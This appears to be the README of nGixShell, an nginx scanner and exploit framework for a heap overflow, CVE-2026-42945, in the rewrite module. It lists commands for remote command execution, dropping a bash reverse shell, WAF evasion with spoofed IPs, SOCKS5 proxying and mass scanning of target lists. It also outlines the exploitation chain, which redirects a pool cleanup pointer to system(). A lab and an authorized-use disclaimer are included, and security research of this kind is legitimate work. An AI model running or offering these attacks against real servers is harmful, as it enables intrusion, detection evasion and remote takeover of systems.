nGixshell

nGixShell is an nginx CVE scanner and RCE exploit framework. It ships a working proof-of-concept for CVE-2026-42945 — a critical heap buffer overflow in ngx_http_rewrite_module — and a scanner covering 53 nginx CVEs with automated HTTP probes, fingerprinting, WAF detection/bypass, web security auditing, and report generation.

Zero external dependencies. Pure Python 3 stdlib.

Quick Start

# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d

# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321

# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

No flags required — pointing the tool at a target runs everything automatically.
TLS is auto-detected. nginx is fingerprinted even with server_tokens off.

Usage

python3 ngixshell.py [TARGET] [OPTIONS]

TARGET formats:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Modes

WAF Detection & Bypass

Bypass techniques (all active when --waf-bypass is set):

Detected WAFs: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Web Audit

Runs automatically in scan mode. All modules can be skipped individually.

• Header audit — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, version-leaking headers
• Path discovery — 50+ paths; sentinel probe eliminates false positives from catch-all 403/301 rules
• Virtual host enumeration — requires status AND body diff to avoid default-block false positives
• TLS audit — tests TLS 1.0–1.3 support, certificate expiry, and self-signed detection
• stub_status — parses active connection metrics from /nginx_status if exposed

Connection

HTTP

Rate / Timing

Output

CVE Coverage

53 entries spanning 2009–2026. Sorted by CVSS.

The Bug (CVE-2026-42945)

nginx's rewrite script engine uses a two-pass model: compute buffer size, then copy. The is_args flag is set on the main engine when a rewrite replacement contains ?, but the length-calculation pass runs on a freshly zeroed sub-engine:

• Length pass — sees is_args = 0 → returns raw capture length
• Copy pass — sees is_args = 1 → calls ngx_escape_uri(NGX_ESCAPE_ARGS), expanding each unsafe byte to 3 bytes

The copy overflows the undersized heap buffer with attacker-controlled URI data. Exploitation corrupts an adjacent ngx_pool_t cleanup pointer via cross-request heap feng shui, redirecting it to a fake ngx_pool_cleanup_s that calls system() on pool destruction.

Affected Versions

Vendor advisory: https://my.f5.com/manage/s/article/K000160932

Lab Setup

Tested on Ubuntu 24.04 LTS. Requires Docker and Python 3.8+.

# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# Full scan
python3 ngixshell.py 127.0.0.1:19321

# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Disclaimer

For authorized security testing, CTF competitions, and research only.